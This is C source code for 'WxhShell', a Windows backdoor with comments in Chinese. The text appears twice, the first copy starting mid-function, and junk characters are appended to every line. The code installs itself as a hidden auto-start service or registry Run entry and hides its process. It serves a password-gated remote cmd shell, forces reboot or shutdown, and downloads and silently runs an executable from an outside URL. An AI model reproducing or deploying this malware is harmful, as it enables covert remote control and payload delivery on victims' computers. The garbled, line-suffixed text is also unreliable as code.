    ExitThread(0); ' Sd&I:?  
    } h%:wIkZ/  
    break; a:|]F|  
    } b c .Vy  
  // 关机 .aZB?M W  
  case 'd': { :x q^T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9^S rOW6~  
    if(Boot(SHUTDOWN)) W(ZEqH2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jM*wm~4>@  
    else { IAd ^$9  
    closesocket(wsh); .f!'> _  
    ExitThread(0); M-Nn \h$,  
    } >VjtKSN  
    break; f].z.  
    } PmId #2f  
  // 获取shell ZbH6$2r  
  case 's': { D622:Y886  
    CmdShell(wsh); Zo-Au  
    closesocket(wsh); zh !/24p9  
    ExitThread(0); JmF`5  
    break; J!rZs kd  
  } @TKQ_7BcB  
  // 退出 7({.kD6  
  case 'x': { $o\U q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7.5\LTM>9e  
    CloseIt(wsh); @Ng q+uXm  
    break; !/&~Feb  
    } tORDtMM9+  
  // 离开 GmGq69]J*  
  case 'q': { h\-jqaq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0g#?'sD  
    closesocket(wsh); QqY42hR  
    WSACleanup(); 'U`I  
    exit(1); DF#WQ8?$]  
    break; 9 DXu*}  
        } (K"t</]  
  } Q6Zh%\+h(  
  } Sdmynuv U  
S4O:?^28  
  // 提示信息 I@a7!ugU65  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jf2:[ Mq  
} of<>M4/g4y  
  } L3Q1az!Ct  
_Q;M$.[zyR  
  return; CQY/q@7  
} a-TsD}'X  
zGFW?|o<  
// shell模块句柄 .+AO3~Dg  
int CmdShell(SOCKET sock) ldoN!J  
{ ~w%Z Bp  
STARTUPINFO si; ,v1-y ?kB  
ZeroMemory(&si,sizeof(si)); _jb"@TY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J2#=`|t"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 13{"sY:PT#  
PROCESS_INFORMATION ProcessInfo; {&(bKQ  
char cmdline[]="cmd"; ]O&A:Us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DPtyCgH  
  return 0; b_Ky@kp  
} eEe8T=mD  
]i]sgg[  
// 自身启动模式 ?t.?f`(|  
int StartFromService(void) Hp> J,m(*  
{ L{CHAVkV  
typedef struct l 0b=;^6  
{ >|I3h5\M  
  DWORD ExitStatus; ;/{Q4X{  
  DWORD PebBaseAddress; I0jEhg%JZ  
  DWORD AffinityMask; 1 }q[8q  
  DWORD BasePriority; vrW9<{  
  ULONG UniqueProcessId; k0D&F;a%  
  ULONG InheritedFromUniqueProcessId; ! xqG-rd '  
}   PROCESS_BASIC_INFORMATION; kAk,:a;P  
qV$',U*+T  
PROCNTQSIP NtQueryInformationProcess; $X&OGTlw^  
E.% F/mM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2Nl("e^kJr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yb**|[By  
|QgXSe7  
  HANDLE             hProcess; ;%z0iZmg  
  PROCESS_BASIC_INFORMATION pbi; 0Rk'sEX,  
01q7n`o#zf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @%cJjZ5y  
  if(NULL == hInst ) return 0; "RX?"pB  
u]MF r2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G7/LYTT)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z/RUrYeb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tx_(^K  
>%3c1  
  if (!NtQueryInformationProcess) return 0; :3n.nKANr  
a@r K%Iff  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D3lYy>~d5;  
  if(!hProcess) return 0; 80]TKf>  
];2eIe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &% r#eB?7  
22r01qH  
  CloseHandle(hProcess); O}f(h5!k  
@ Q1jH~t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jh0$:6 `C  
if(hProcess==NULL) return 0; ]D-48o0  
XP;&iZJ  
HMODULE hMod; eB@i)w?@o  
char procName[255]; ?Ru`ma\;  
unsigned long cbNeeded; ^{K8uN7  
qL+y8*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (Mm{"J3uv  
A7RX2  
  CloseHandle(hProcess); 8k`zMT  
d,+n,;6Cf  
if(strstr(procName,"services")) return 1; // 以服务启动 jb![ Lp  
i }g xq  
  return 0; // 注册表启动 jRkq^}  
} K]Cvk%  
v(7A=/W_  
// 主模块 E6@ ;e-]j  
int StartWxhshell(LPSTR lpCmdLine) {n{}Y.  
{ :{ T#M$T  
  SOCKET wsl; 3ElpS^ 2W  
BOOL val=TRUE; l=]vC +mU  
  int port=0; XZ&v3ul  
  struct sockaddr_in door; Yr=mLT|JN  
S7q &|nI  
  if(wscfg.ws_autoins) Install(); "qm>z@K  
mfN@tMp  
port=atoi(lpCmdLine); rWs5s!l,  
rpT<cCem1  
if(port<=0) port=wscfg.ws_port; FVmg&[ .  
XfrnM^oty  
  WSADATA data; _dBU6U:V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h*9o_  
.>'Z9.Xnk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9h(hx 7]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?BZ][~n-Q  
  door.sin_family = AF_INET; %Nn'p"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !m|%4/ M@  
  door.sin_port = htons(port); 7 f*_  
e`Yns$x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8)!;[G|  
closesocket(wsl); ,7g;r_qwA  
return 1; U.F65KaKF  
} PK4UdT  
NGY I%:  
  if(listen(wsl,2) == INVALID_SOCKET) { qi2dTB  
closesocket(wsl); iP%=Wo.  
return 1; F]*-i 55S  
} 7&)F;;H  
  Wxhshell(wsl); k9xKaJ %1  
  WSACleanup(); cj<@~[uw  
R7{hoqI2  
return 0; \IfgL$+  
(B-9M)  
} \8D~,$,``|  
,R =VzP&  
// 以NT服务方式启动 ~\G3 l,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sD3|Qj;  
{ xH[yIfHkG@  
DWORD   status = 0; e"6i >w!  
  DWORD   specificError = 0xfffffff; \^4$}@*]  
(FYJ^o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <Y2!c,"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fLoVcl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ] O>7x  
  serviceStatus.dwWin32ExitCode     = 0; A%2}?Ds  
  serviceStatus.dwServiceSpecificExitCode = 0; uCfp+  
  serviceStatus.dwCheckPoint       = 0; sK?-@  
  serviceStatus.dwWaitHint       = 0; j2M(W/_  
rtx]dc1m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6w;|-/:`  
  if (hServiceStatusHandle==0) return; )x&@j4,  
hFfaaB  
status = GetLastError(); ! VZj!\I  
  if (status!=NO_ERROR) >pvg0Fh  
{ >NA7,Z2.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Zwns|23n  
    serviceStatus.dwCheckPoint       = 0; r![JPhei  
    serviceStatus.dwWaitHint       = 0; n^02@Aw  
    serviceStatus.dwWin32ExitCode     = status; - (}1o9e\7  
    serviceStatus.dwServiceSpecificExitCode = specificError; tlgvBRH>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y`?X Fy:  
    return; [Mc5N  
  } ]!aa#?Fc  
QJM!Wx+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5qSZ>DZ  
  serviceStatus.dwCheckPoint       = 0; MjC%6%HI  
  serviceStatus.dwWaitHint       = 0; k#*yhG,]'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #aX@mPm  
} SqF.DB~  
\Egc5{   
// 处理NT服务事件,比如:启动、停止  ja- ~`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -z$2pXT ^  
{ HbfB[%  
switch(fdwControl) a BH1J]_  
{ S{T d/1}  
case SERVICE_CONTROL_STOP: jY+S,lD  
  serviceStatus.dwWin32ExitCode = 0; ,GU/l)os`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]UT|BE4v  
  serviceStatus.dwCheckPoint   = 0; !o':\hex6  
  serviceStatus.dwWaitHint     = 0; !gfhEz Y  
  { _C,@eu"9V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:tX0<6  
  } @[lc0_ b  
  return; oImgj4C2L  
case SERVICE_CONTROL_PAUSE: AWXpA1(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?lN8~Ze  
  break; xcvr D  
case SERVICE_CONTROL_CONTINUE: '#PqI)P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wKS-O%?  
  break; gam#6 s  
case SERVICE_CONTROL_INTERROGATE: %`1CE\f  
  break; 2 RUR=%C  
}; EvQwGt1)P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##FNq#F  
} yPh2P5}H>  
Ca@=s  
// 标准应用程序主函数 QsJW"4d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0&IXzEOr  
{ RrdtU7i3  
L"!ZY  
// 获取操作系统版本 ~!:Sp_y  
OsIsNt=GetOsVer(); JOx ,19r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k+#l;<\2  
56SS >b  
  // 从命令行安装 _<RR`  
  if(strpbrk(lpCmdLine,"iI")) Install(); =Z .V+4+  
i(yAmo9h  
  // 下载执行文件 L\wpS1L(  
if(wscfg.ws_downexe) { 5YI/Ec  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Dnm.!L8  
  WinExec(wscfg.ws_filenam,SW_HIDE); :@%-f:iDj  
} L@n6N|[_  
@U3foL2\  
if(!OsIsNt) { k;_KKvQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,o@~OTja*  
HideProc(); 27E9NO=  
StartWxhshell(lpCmdLine); ,' r L'Ys  
} ?t0zsq  
else ;s\;78`0  
  if(StartFromService()) -N7L #a  
  // 以服务方式启动 3R%UPT0>  
  StartServiceCtrlDispatcher(DispatchTable); "G9'm  
else  ;[KriW  
  // 普通方式启动 `o8{qU,*]N  
  StartWxhshell(lpCmdLine); =6Sj}/   
Wd` QpW  
return 0; rH&r6Xv[  
} s'aV qB  
q bZ,K@0  
?(/j<,m^  
mDF"&.(j  
=========================================== seuN,jpt  
]a6O(]  
Ly)(_Tp@+  
A` o?+2s_  
wL-ydMIx  
_m7U-;G  
" grCO-S|j^  
(!VMnLlXRK  
#include <stdio.h> xa{<R+LR  
#include <string.h> Xm8Z+}i  
#include <windows.h> I51oG:6fR?  
#include <winsock2.h> J(EaE2  
#include <winsvc.h> X(y  
#include <urlmon.h> \%Ah^U)gS  
=qp}p'BYe  
#pragma comment (lib, "Ws2_32.lib") lQdnL.w$.4  
#pragma comment (lib, "urlmon.lib") 6/mkJj+"  
r!.+XrYg  
#define MAX_USER   100 // 最大客户端连接数 i,'Ka[6   
#define BUF_SOCK   200 // sock buffer O| 1f^_S/  
#define KEY_BUFF   255 // 输入 buffer xdL/0 N3  
_[TH@fO6:  
#define REBOOT     0   // 重启 'o/N}E!Pt  
#define SHUTDOWN   1   // 关机 P('t6MVl T  
"s>fV9YyZ  
#define DEF_PORT   5000 // 监听端口 C '-zh\a  
OHHNWg_5  
#define REG_LEN     16   // 注册表键长度 ," C[Qg(  
#define SVC_LEN     80   // NT服务名长度 y^ X\^Kq  
XJmFJafQD  
// 从dll定义API :J Gl>V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `&u<aLA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Y22Wi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fwi};)K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1C0Y0{6,  
!_U37Uj<m  
// wxhshell配置信息 [arTx ^  
struct WSCFG { <o&o=Y8  
  int ws_port;         // 监听端口 DIG0:)4R.  
  char ws_passstr[REG_LEN]; // 口令 Jtp>m?1Ve  
  int ws_autoins;       // 安装标记, 1=yes 0=no vXy uEEe  
  char ws_regname[REG_LEN]; // 注册表键名 *|LbbRu  
  char ws_svcname[REG_LEN]; // 服务名 E[jXUOu-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6.U  "_%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )@Zc?Da  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C#Hcv*D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~5r=FF6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I(OAEIz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <H5n>3#pH  
aFRTNu/r  
}; !Tn0M;  
qnq%mwDeD  
// default Wxhshell configuration "WYA  
struct WSCFG wscfg={DEF_PORT, y@o9~?M  
    "xuhuanlingzhe", <$jKy3@  
    1, ; .ysCF  
    "Wxhshell", 6kt]`H`cfJ  
    "Wxhshell", \}$*}gW[}  
            "WxhShell Service", i1qS ns  
    "Wrsky Windows CmdShell Service", Jo{ zy  
    "Please Input Your Password: ", mb0n}I_AC  
  1, 0).fBBNG  
  "http://www.wrsky.com/wxhshell.exe", T!l mO?Q  
  "Wxhshell.exe" ^uyNv-'F  
    }; \npz .g^c_  
!}>eo2$r^  
// 消息定义模块 F2IC$:e M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8yE!7$Mj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l60ikc4$I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g!1I21M1~  
char *msg_ws_ext="\n\rExit."; \f(Y:}9  
char *msg_ws_end="\n\rQuit."; G*i.a*9<)  
char *msg_ws_boot="\n\rReboot..."; ?SC3Vzr  
char *msg_ws_poff="\n\rShutdown..."; uu}a:qrY  
char *msg_ws_down="\n\rSave to "; 1P_Fe[8  
 5ZnSA9?  
char *msg_ws_err="\n\rErr!"; Y 3o^Euou  
char *msg_ws_ok="\n\rOK!"; $d'CBsu|<  
{]&R8?%  
char ExeFile[MAX_PATH]; JAc@S20v\  
int nUser = 0; .Qd}.EG  
HANDLE handles[MAX_USER]; 1^aykrnQ>  
int OsIsNt; ;"1/#CY773  
^DBD63 N"  
SERVICE_STATUS       serviceStatus; L~*u4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9[z'/ U.Bn  
EVR! @6@  
// 函数声明 r2RBrZ@1  
int Install(void); n}19?K]g  
int Uninstall(void); I+0c8T(:  
int DownloadFile(char *sURL, SOCKET wsh); 3PfiQ|/b  
int Boot(int flag); eh$G.-2N  
void HideProc(void); XjX 2[*l  
int GetOsVer(void); +x(YG(5\w  
int Wxhshell(SOCKET wsl); aSRjFL^  
void TalkWithClient(void *cs); o g_Ri$x8  
int CmdShell(SOCKET sock); RNGO~:k?r  
int StartFromService(void); P,(9cyS{  
int StartWxhshell(LPSTR lpCmdLine); j7f5|^/x3  
Ll,I-BQ 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mHKJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t-_#Q bzE{  
f, |QAj=a  
// 数据结构和表定义 avlqDi1l  
SERVICE_TABLE_ENTRY DispatchTable[] = I$n+DwKcN  
{ ^>-+@+( r  
{wscfg.ws_svcname, NTServiceMain}, qtO1hZ  
{NULL, NULL} 9*' &5F=  
}; w{3ycR  
Ujf,6=M  
// 自我安装 /K f L+"^|  
int Install(void) iBucT"d]  
{ 5i6VZv  
  char svExeFile[MAX_PATH]; (I[s3EnhS  
  HKEY key; sr\cVv")  
  strcpy(svExeFile,ExeFile); UanEzx%  
WhH!U0  
// 如果是win9x系统,修改注册表设为自启动 L/~D<V  
if(!OsIsNt) { ?fV?|ZGZI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &1P(O\ d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F"I*-!o  
  RegCloseKey(key); y>`5Kyj3-@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }7%9}2}Iw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E-^2"j >o  
  RegCloseKey(key); 2SYKe$e  
  return 0; (i\)|c/a7  
    } a~,Kz\Tt  
  } F'1k<V?  
} sMP:sCRC  
else { #00D?nC  
^ESUMXb  
// 如果是NT以上系统,安装为系统服务 `g--QR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \6{LR&  
if (schSCManager!=0) +s ULo  
{ [P{a_(  
  SC_HANDLE schService = CreateService )AI?x@  
  ( "TfI+QgLF  
  schSCManager, <KX&zi<L)  
  wscfg.ws_svcname, })P O7:  
  wscfg.ws_svcdisp, d .p'pGL  
  SERVICE_ALL_ACCESS,  c-5Ysg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;= a_B1"9u  
  SERVICE_AUTO_START, B[CA 5Ry  
  SERVICE_ERROR_NORMAL, 44~hw:   
  svExeFile, zZ: xEc  
  NULL, U9 bWU'  
  NULL, 33 : @*  
  NULL, ypl G18  
  NULL, D*QYKW=)  
  NULL D^|9/qm$  
  ); K3L"^a  
  if (schService!=0) .%IslLZ  
  { g8RPHjvZ  
  CloseServiceHandle(schService); eeW`JG-E  
  CloseServiceHandle(schSCManager); uaaf9SL?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?_%u)S*g  
  strcat(svExeFile,wscfg.ws_svcname); ya.n'X14  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xz8G}Ku  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FIS "Z(  
  RegCloseKey(key); {rDq_^  
  return 0; JGis"e  
    } s9i|mVtm8  
  } q*bt4,D&Es  
  CloseServiceHandle(schSCManager); >g]ON9CGH  
} Plfdr~$  
} B$?^wo  
>'b=YlUL  
return 1; _w>uI57U  
} V&%C\ns4  
a.q;_5\5`  
// 自我卸载 x#r<,uNn,  
int Uninstall(void) nR[^|CAR  
{ cI:-Z{M7z  
  HKEY key;  m*dNrG  
H:Y&OZ  
if(!OsIsNt) { [1SMg$@<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |cgui  
  RegDeleteValue(key,wscfg.ws_regname); cS(;Qs]Q  
  RegCloseKey(key); G>K@AW #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0e16Ow6\!1  
  RegDeleteValue(key,wscfg.ws_regname); 8vSIf+  
  RegCloseKey(key); hF>u)%J/S  
  return 0; Juu+vMn1  
  } 2"X~ju  
} id?E)Jy  
} OhFW*v  
else { "(f`U.  
oL-2qtv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); psUE!~9,  
if (schSCManager!=0) nZ E)_  
{ +D`*\d1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MA* :<l  
  if (schService!=0) R/~,i;d>  
  { 0%#\w*X8  
  if(DeleteService(schService)!=0) { G\kpUdj}  
  CloseServiceHandle(schService); J+ts  
  CloseServiceHandle(schSCManager); TH:W#Ot  
  return 0; 59lj7  
  } sJU`u'w  
  CloseServiceHandle(schService); qybxXK:  
  } ]iVLHVqz  
  CloseServiceHandle(schSCManager); /iG7MC\`  
} p!DP`Ouc3\  
} =wrP:wYF  
RB$ z]/=  
return 1; :c=.D;,  
} cbYK5fj"T  
(s&&>M]r_  
// 从指定url下载文件 %\6Q .V#s  
int DownloadFile(char *sURL, SOCKET wsh) *yez:qnx  
{ 9]7u _  
  HRESULT hr; h/m6)m.D  
char seps[]= "/"; +TSSi em  
char *token; v* ~3Z1  
char *file; gKi{Y1  
char myURL[MAX_PATH]; HID([Wk  
char myFILE[MAX_PATH]; NBOCt)C;H  
r4Q|5kT*i  
strcpy(myURL,sURL); zK;XF N#U^  
  token=strtok(myURL,seps); O|'1B>X  
  while(token!=NULL) }r3~rG<D71  
  { U>Gg0`>  
    file=token; b1-&v|L  
  token=strtok(NULL,seps); v&;:^jJ8  
  } ?obm7<  
G5Ykbw#  
GetCurrentDirectory(MAX_PATH,myFILE); bRsTBp;R`I  
strcat(myFILE, "\\"); tj5giQ3DG)  
strcat(myFILE, file); z7T0u.4Ss  
  send(wsh,myFILE,strlen(myFILE),0); r,NgG!zq<  
send(wsh,"...",3,0); 6N" l{!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~x]9SXD%  
  if(hr==S_OK) Dl,`\b@Fw3  
return 0; D$q'FZH  
else RN9;kB)c  
return 1; RUo9eQIPD  
-LWK*q[J;*  
} 4XJiIa?  
Gquuy7[&  
// 系统电源模块 $NG++N  
int Boot(int flag) Mvcfk$pA  
{ ar ^i|`D  
  HANDLE hToken; $k%Z$NSN=  
  TOKEN_PRIVILEGES tkp; :YO@_  
sWqM?2g  
  if(OsIsNt) { cUk*C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \?lz&<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5v _P Oq  
    tkp.PrivilegeCount = 1; fZ{[]dn[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |FNCXlgZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `JURQ:l)3^  
if(flag==REBOOT) { Nneo{j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;rHO&(h-  
  return 0; DBgMC"_   
} =RsXI&&vh  
else { g0R[xOS|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `u_Qa  
  return 0; [hh/1[   
} /aqEJGG>  
  } +%0z`E\?M#  
  else { bS!\#f%9"  
if(flag==REBOOT) { K5 KyG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,6"l(]0  
  return 0; 8e2?tmWM  
} *hY2.t; X  
else { z5 m>H;P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wkb$^mU  
  return 0; A9:NKY{z  
} N4!<Xj  
} [f{VIE*?%  
4. qtp`  
return 1; i$^ZTb^  
} k%81f'H  
V5mTu)tp5  
// win9x进程隐藏模块 (6gK4__}]  
void HideProc(void) )"<8K}%!  
{ /X*oS&-M  
zfI}Q}p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Acm<-de  
  if ( hKernel != NULL ) } cNW^4F  
  { ~Y!kB:D5;~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +OHGn;C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U1R4x!ym4  
    FreeLibrary(hKernel); E6MA?Ax&=  
  } 5.0e~zlM -  
el PE%'  
return; +j/~Af p5f  
} $)Bg JDr  
\_BkY%a  
// 获取操作系统版本 Ym8}ZW-  
int GetOsVer(void) ko\):DN  
{ 5Av=3[kh"%  
  OSVERSIONINFO winfo; :k=mzO<&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @{HrJ/4%:&  
  GetVersionEx(&winfo); A%bCMP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +9A\HQ|22  
  return 1; obH; g*  
  else 47>>4_Hz  
  return 0; aaW]J mRb  
} ~$,qgf  
0 p uY"[c  
// 客户端句柄模块 `` K#}3  
int Wxhshell(SOCKET wsl) j}JZ  
{ q6d~V] 4:  
  SOCKET wsh; ,FSrn~-j9  
  struct sockaddr_in client; ^+|De}`u  
  DWORD myID; A#y@`} ]!'  
r,(Mu  
  while(nUser<MAX_USER) 8p^B hd  
{  H`QQG!  
  int nSize=sizeof(client); D-p.kA3MJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Rv+zQ#GR  
  if(wsh==INVALID_SOCKET) return 1; ^A_;#vK  
{8RFK4! V@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B4H!5b  
if(handles[nUser]==0) g_.^O$}  
  closesocket(wsh); m_NCx]#e   
else EG<s_d?  
  nUser++; 8At<Wic  
  } ]$iqa"{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3lxc4@Zmd  
L"+$Wc[|  
  return 0; 2f:^S/.A  
} ] ZoPQUS?  
 $)~   
// 关闭 socket ef"?|sn  
void CloseIt(SOCKET wsh) Dt}rR[yJ  
{ _=XX~^I,  
closesocket(wsh); ?}P5p^6  
nUser--; ^"8wUsP  
ExitThread(0); Hf gz02Z$  
} b7:0#l$  
V|D] M{O  
// 客户端请求句柄 X@A1#z+s0]  
void TalkWithClient(void *cs) %eWqQ3{P]  
{ }Fb!?['G5  
4"?^UBr  
  SOCKET wsh=(SOCKET)cs; qdD)e$XW,  
  char pwd[SVC_LEN]; N@T.T=r  
  char cmd[KEY_BUFF]; ed!>)Cb  
char chr[1]; V A^l+Z,d  
int i,j; pW\'Z Rj  
es:2M |#O  
  while (nUser < MAX_USER) { 6QQfQ,  
qCQ./"8  
if(wscfg.ws_passstr) { 15\Ph[6g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !  NV#U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *?p|F&J  
  //ZeroMemory(pwd,KEY_BUFF); z_|oCT!6  
      i=0; 5z$,6T  
  while(i<SVC_LEN) { i'/m4 !>h  
?)4?V\$  
  // 设置超时 y(jg#7)  
  fd_set FdRead; ^ZRYRA  
  struct timeval TimeOut; W6c]-pc  
  FD_ZERO(&FdRead); +K",^6%1  
  FD_SET(wsh,&FdRead); / +K?  
  TimeOut.tv_sec=8; ^C)n$L>C0  
  TimeOut.tv_usec=0; '-$XX%TOAc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rqip kx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tfO#vw,@  
q>!L6h5]t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i^`9syD  
  pwd=chr[0]; V >-b`e  
  if(chr[0]==0xd || chr[0]==0xa) { ~l[r a  
  pwd=0; uq3{h B#  
  break; F"+o@9]  
  } iI1n2>V3y  
  i++; /u<nLj1  
    } {}~:&.D  
YvL?j  
  // 如果是非法用户,关闭 socket Y$>-%KcKeI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $rB3m~c|  
} )eeN1G`rDE  
3 fj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p/6zEZ*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p zw8T  
Dr<='Ux[5  
while(1) { k`KGB  
<!d"E@%v@  
  ZeroMemory(cmd,KEY_BUFF); "8f?h%t  
j V3)2C}  
      // 自动支持客户端 telnet标准   {lG@hN'  
  j=0; E$s/]wnr[  
  while(j<KEY_BUFF) { kh$_!BT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g\fhp{gWB  
  cmd[j]=chr[0]; ;!>Wz9  
  if(chr[0]==0xa || chr[0]==0xd) { R{YzH56M  
  cmd[j]=0; a dfR!&J  
  break; ,U,By~s  
  } sUkm|K`#  
  j++; c,EBF\r8*  
    } DPgm%Xq9(!  
6c4&VW  
  // 下载文件 'fV%Z  
  if(strstr(cmd,"http://")) { SUCU P<G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Ru;`  
